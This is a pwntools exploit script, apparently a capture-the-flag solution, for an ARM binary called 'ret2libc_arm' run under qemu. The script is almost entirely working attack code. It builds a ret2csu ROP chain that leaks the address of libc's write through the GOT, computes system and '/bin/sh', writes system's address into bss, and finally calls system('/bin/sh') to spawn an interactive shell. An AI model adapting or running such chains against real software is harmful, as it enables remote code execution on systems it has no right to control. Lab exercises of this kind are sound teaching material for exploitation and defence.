from pwn import * from LibcSearcher import * context(os='linux',arch='arm') pwnfile='./ret2libc_arm' elf = ELF(pwnfile) rop = ROP(pwnfile) libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6") if args['REMOTE']: io = remote() else: # io = process(pwnfile) io = process(["qemu-arm","-L","/usr/arm-linux-gnueabi/",pwnfile]) #io=process(["qemu-arm","-g", "1234","-L","/usr/arm-linux-gnueabi/","./ret2libc_arm"]) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") gdb.attach(io,'target remote localhost:1234',exe=pwnfile,arch='arm') def ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,call_func_got_R5,arg0_R7,arg1_R8,arg2_R9,ret_ad): ''' pop_r4_r10_ad: csu里 POP {R4-R10,PC}地址 mov_r2_r9_ad: csu里MOV R2, R9地址 call_func_got_R5: 存有要执行函数地址的地址 一般为got arg0_R7:参数1 arg1_R8:参数2 arg2_R9:参数3 ret_ad:执行过后返回的地址 ''' R4=1 R6=2 R10=0xdeadbeef payload=padding+p32(pop_r4_r10_ad)+p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(mov_r2_r9_ad) payload+=p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(ret_ad) ru(b"put:") sl(payload) padding=12*b'a' pop_r4_r10_ad=0x0010500 mov_r2_r9_ad=0x00104E0 write_got=elf.got['write'] read_got=elf.got['read'] main_ad=elf.symbols['main'] ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,write_got,1,write_got,0x10,main_ad) ru(b'byebye') write_ad=uu32(r(4)) base=write_ad-libc.symbols['write'] system_addr = base + libc.symbols["system"] binsh = base + next(libc.search(b'/bin/sh')) p('system',system_addr) bss=elf.bss()+0x100 ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,read_got,0,bss,0x8,main_ad) sl(p32(system_addr)) ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,bss,binsh,0,0,0xdeadbeff) io.interactive()
|